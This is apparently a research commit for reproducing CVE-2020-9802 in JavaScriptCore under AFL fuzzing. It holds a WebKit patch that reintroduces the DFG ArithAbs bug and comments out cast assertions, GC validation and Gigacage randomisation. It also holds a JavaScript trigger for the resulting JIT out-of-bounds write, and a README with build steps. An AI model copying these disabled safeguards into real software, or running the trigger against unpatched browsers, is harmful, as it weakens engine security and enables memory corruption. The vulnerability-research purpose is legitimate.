PoC Reproduction in version Safari-614.1.9
This commit is contained in:
139
Safari-614.1.9/PoC/CVE-2020-9802-Safari-614.1.9.patch
Normal file
139
Safari-614.1.9/PoC/CVE-2020-9802-Safari-614.1.9.patch
Normal file
@@ -0,0 +1,139 @@
|
|||||||
|
diff --git a/.gitignore b/.gitignore
|
||||||
|
index f1dbddf346c9..1aae9461405e 100644
|
||||||
|
--- a/.gitignore
|
||||||
|
+++ b/.gitignore
|
||||||
|
@@ -5,6 +5,7 @@
|
||||||
|
.DS_Store
|
||||||
|
.directory
|
||||||
|
/WebKitBuild/
|
||||||
|
+/Output*/
|
||||||
|
/test262-results/
|
||||||
|
autoinstall.cache.d
|
||||||
|
project.xcworkspace
|
||||||
|
diff --git a/Source/JavaScriptCore/dfg/DFGClobberize.h b/Source/JavaScriptCore/dfg/DFGClobberize.h
|
||||||
|
index 67b010bc2f21..757f15597bfa 100644
|
||||||
|
--- a/Source/JavaScriptCore/dfg/DFGClobberize.h
|
||||||
|
+++ b/Source/JavaScriptCore/dfg/DFGClobberize.h
|
||||||
|
@@ -283,7 +283,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
|
||||||
|
|
||||||
|
case ArithAbs:
|
||||||
|
if (node->child1().useKind() == Int32Use || node->child1().useKind() == DoubleRepUse)
|
||||||
|
- def(PureValue(node, node->arithMode()));
|
||||||
|
+ def(PureValue(node));
|
||||||
|
else
|
||||||
|
clobberTop();
|
||||||
|
return;
|
||||||
|
@@ -299,7 +299,7 @@ void clobberize(Graph& graph, Node* node, const ReadFunctor& read, const WriteFu
|
||||||
|
if (node->child1().useKind() == Int32Use
|
||||||
|
|| node->child1().useKind() == DoubleRepUse
|
||||||
|
|| node->child1().useKind() == Int52RepUse)
|
||||||
|
- def(PureValue(node, node->arithMode()));
|
||||||
|
+ def(PureValue(node));
|
||||||
|
else
|
||||||
|
clobberTop();
|
||||||
|
return;
|
||||||
|
diff --git a/Source/JavaScriptCore/runtime/JSCast.h b/Source/JavaScriptCore/runtime/JSCast.h
|
||||||
|
index a6993159099c..1608afc0ff8f 100644
|
||||||
|
--- a/Source/JavaScriptCore/runtime/JSCast.h
|
||||||
|
+++ b/Source/JavaScriptCore/runtime/JSCast.h
|
||||||
|
@@ -33,12 +33,14 @@ template<typename To, typename From>
|
||||||
|
inline To jsCast(From* from)
|
||||||
|
{
|
||||||
|
static_assert(std::is_base_of<JSCell, typename std::remove_pointer<To>::type>::value && std::is_base_of<JSCell, typename std::remove_pointer<From>::type>::value, "JS casting expects that the types you are casting to/from are subclasses of JSCell");
|
||||||
|
+/*
|
||||||
|
#if (ASSERT_ENABLED || ENABLE(SECURITY_ASSERTIONS)) && CPU(X86_64)
|
||||||
|
if (from && !from->JSCell::inherits(from->JSCell::vm(), std::remove_pointer<To>::type::info()))
|
||||||
|
reportZappedCellAndCrash(*from->JSCell::heap(), from);
|
||||||
|
#else
|
||||||
|
ASSERT_WITH_SECURITY_IMPLICATION(!from || from->JSCell::inherits(from->JSCell::vm(), std::remove_pointer<To>::type::info()));
|
||||||
|
#endif
|
||||||
|
+*/
|
||||||
|
return static_cast<To>(from);
|
||||||
|
}
|
||||||
|
|
||||||
|
@@ -46,6 +48,7 @@ template<typename To>
|
||||||
|
inline To jsCast(JSValue from)
|
||||||
|
{
|
||||||
|
static_assert(std::is_base_of<JSCell, typename std::remove_pointer<To>::type>::value, "JS casting expects that the types you are casting to is a subclass of JSCell");
|
||||||
|
+/*
|
||||||
|
#if (ASSERT_ENABLED || ENABLE(SECURITY_ASSERTIONS)) && CPU(X86_64)
|
||||||
|
ASSERT_WITH_SECURITY_IMPLICATION(from.isCell());
|
||||||
|
JSCell* cell = from.asCell();
|
||||||
|
@@ -54,6 +57,7 @@ inline To jsCast(JSValue from)
|
||||||
|
#else
|
||||||
|
ASSERT_WITH_SECURITY_IMPLICATION(from.isCell() && from.asCell()->JSCell::inherits(from.asCell()->vm(), std::remove_pointer<To>::type::info()));
|
||||||
|
#endif
|
||||||
|
+*/
|
||||||
|
return static_cast<To>(from.asCell());
|
||||||
|
}
|
||||||
|
|
||||||
|
@@ -142,7 +146,7 @@ inline bool inheritsJSTypeImpl(VM& vm, From* from, JSTypeRange range)
|
||||||
|
static_assert(std::is_base_of<JSCell, Target>::value && std::is_base_of<JSCell, typename std::remove_pointer<From>::type>::value, "JS casting expects that the types you are casting to/from are subclasses of JSCell");
|
||||||
|
bool canCast = range.contains(from->type());
|
||||||
|
// Do not use inherits<Target>(vm) since inherits<T> depends on this function.
|
||||||
|
- ASSERT_UNUSED(vm, canCast == from->JSCell::inherits(vm, Target::info()));
|
||||||
|
+ // ASSERT_UNUSED(vm, canCast == from->JSCell::inherits(vm, Target::info()));
|
||||||
|
return canCast;
|
||||||
|
}
|
||||||
|
|
||||||
|
diff --git a/Source/JavaScriptCore/runtime/WriteBarrier.h b/Source/JavaScriptCore/runtime/WriteBarrier.h
|
||||||
|
index 383f72d04f1e..e24843e22c64 100644
|
||||||
|
--- a/Source/JavaScriptCore/runtime/WriteBarrier.h
|
||||||
|
+++ b/Source/JavaScriptCore/runtime/WriteBarrier.h
|
||||||
|
@@ -53,6 +53,7 @@ template<> class WriteBarrierBase<JSValue>;
|
||||||
|
JS_EXPORT_PRIVATE void slowValidateCell(JSCell*);
|
||||||
|
JS_EXPORT_PRIVATE void slowValidateCell(JSGlobalObject*);
|
||||||
|
|
||||||
|
+/*
|
||||||
|
#if ENABLE(GC_VALIDATION)
|
||||||
|
template<class T> inline void validateCell(T cell)
|
||||||
|
{
|
||||||
|
@@ -69,10 +70,11 @@ template<> inline void validateCell<JSGlobalObject*>(JSGlobalObject* globalObjec
|
||||||
|
slowValidateCell(globalObject);
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
+*/
|
||||||
|
template<class T> inline void validateCell(T)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
-#endif
|
||||||
|
+//#endif
|
||||||
|
|
||||||
|
// We have a separate base class with no constructors for use in Unions.
|
||||||
|
template <typename T, typename Traits> class WriteBarrierBase {
|
||||||
|
diff --git a/Source/bmalloc/bmalloc/Gigacage.cpp b/Source/bmalloc/bmalloc/Gigacage.cpp
|
||||||
|
index d10214881d9b..b47532b5e3ed 100644
|
||||||
|
--- a/Source/bmalloc/bmalloc/Gigacage.cpp
|
||||||
|
+++ b/Source/bmalloc/bmalloc/Gigacage.cpp
|
||||||
|
@@ -135,6 +135,7 @@ void ensureGigacage()
|
||||||
|
// largest value of n so that n! <= 2^64.
|
||||||
|
static_assert(NumberOfKinds <= 21, "too many kinds");
|
||||||
|
uint64_t random;
|
||||||
|
+ /*
|
||||||
|
cryptoRandom(reinterpret_cast<unsigned char*>(&random), sizeof(random));
|
||||||
|
for (unsigned i = NumberOfKinds; i--;) {
|
||||||
|
unsigned limit = i + 1;
|
||||||
|
@@ -142,7 +143,7 @@ void ensureGigacage()
|
||||||
|
random /= limit;
|
||||||
|
std::swap(shuffledKinds[i], shuffledKinds[j]);
|
||||||
|
}
|
||||||
|
-
|
||||||
|
+ */
|
||||||
|
auto alignTo = [] (Kind kind, size_t totalSize) -> size_t {
|
||||||
|
return roundUpToMultipleOf(alignment(kind), totalSize);
|
||||||
|
};
|
||||||
|
diff --git a/Source/bmalloc/bmalloc/VMAllocate.h b/Source/bmalloc/bmalloc/VMAllocate.h
|
||||||
|
index de8e8b2589f4..1138135fe640 100644
|
||||||
|
--- a/Source/bmalloc/bmalloc/VMAllocate.h
|
||||||
|
+++ b/Source/bmalloc/bmalloc/VMAllocate.h
|
||||||
|
@@ -123,7 +123,9 @@ inline void vmValidatePhysical(void* p, size_t vmSize)
|
||||||
|
inline void* tryVMAllocate(size_t vmSize, VMTag usage = VMTag::Malloc)
|
||||||
|
{
|
||||||
|
vmValidate(vmSize);
|
||||||
|
- void* result = mmap(0, vmSize, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | BMALLOC_NORESERVE, static_cast<int>(usage), 0);
|
||||||
|
+ static long long mmapPrefix = 1;
|
||||||
|
+ void* result = mmap((void*)(mmapPrefix*0x10000000000ll), vmSize, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | BMALLOC_NORESERVE, static_cast<int>(usage), 0);
|
||||||
|
+ mmapPrefix++;
|
||||||
|
if (result == MAP_FAILED)
|
||||||
|
return nullptr;
|
||||||
|
return result;
|
||||||
15
Safari-614.1.9/PoC/PoC.js
Normal file
15
Safari-614.1.9/PoC/PoC.js
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
function f(arr, n) {
|
||||||
|
n &= 0xffffffff;
|
||||||
|
if (n < -1) {
|
||||||
|
let v = (-n)&0xffffffff;
|
||||||
|
let i = Math.abs(n);
|
||||||
|
if (i < arr.length) {
|
||||||
|
return arr[i] = 1000;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let arr= new Array(10);
|
||||||
|
for (let i = 0; i < 50000; i++) {
|
||||||
|
f(arr, -3);
|
||||||
|
}
|
||||||
|
f(arr, -2147483648);
|
||||||
30
Safari-614.1.9/PoC/README.md
Normal file
30
Safari-614.1.9/PoC/README.md
Normal file
@@ -0,0 +1,30 @@
|
|||||||
|
# Motivation
|
||||||
|
The repository is for solving the following problem encountered in reproducing CVE-2020-9802 in the AFL crash exploring mode of fuzzing process.
|
||||||
|
1. The `jsc` interpreter(Commit ID: `17218d1485b0f5d98d2aad116d4fdb2bad6aee2d`), whose version just before patching CVE-2020-9802, unexpected crash when receiving input don't conform to JavaScript language syntax.
|
||||||
|
2. The heap allocator of JavaScriptCore is probabilistic, which lead to unstable crash in reproducing CVE-2020-9802 in JavaScriptCore. AFL even doesn't accept the PoC as seed as it doesn't produce crash in `perform_dry_run()`.
|
||||||
|
|
||||||
|
# Solution
|
||||||
|
1. JavaScriptCore was updated into the latest compilable version `Safari-614.1.9`. It won't crash when receiving input don't conform to JavaScript language syntax.
|
||||||
|
2. The heap allocator of JavaScriptCore is modified to be deterministic.
|
||||||
|
|
||||||
|
# Reproduction
|
||||||
|
```bash
|
||||||
|
export WEBKIT_PATH="WEBKIT_PATH" # Modify this to your WebKit directory path
|
||||||
|
export AFL_PATH="AFL_PATH" # Modify this to your AFL directory path
|
||||||
|
|
||||||
|
# Git Clone
|
||||||
|
git clone https://github.com/WebKit/WebKit.git
|
||||||
|
|
||||||
|
# Switch version and patch
|
||||||
|
git checkout Safari-614.1.9
|
||||||
|
patch -p1 -i CVE-2020-9802-Safari-614.1.9.patch
|
||||||
|
|
||||||
|
# Static linking of JavaScriptCore
|
||||||
|
# Build for tracing
|
||||||
|
WEBKIT_OUTPUTDIR=$WEBKIT_PATH/OutputTrace/ Tools/Scripts/build-webkit --jsc-only --debug --cmakeargs="-DENABLE_STATIC_JSC=ON -DUSE_THIN_ARCHIVES=OFF"
|
||||||
|
# Build for fuzzing
|
||||||
|
CC=$AFL_PATH/afl-gcc CXX=$AFL_PATH/afl-g++ WEBKIT_OUTPUTDIR=$WEBKIT_PATH/OutputFuzz/ Tools/Scripts/build-webkit --jsc-only --debug --cmakeargs="-DENABLE_STATIC_JSC=ON -DUSE_THIN_ARCHIVES=OFF"
|
||||||
|
|
||||||
|
# Deterministic Reproduction
|
||||||
|
./jsc --useConcurrentJIT=false PoC.js
|
||||||
|
```
|
||||||
Reference in New Issue
Block a user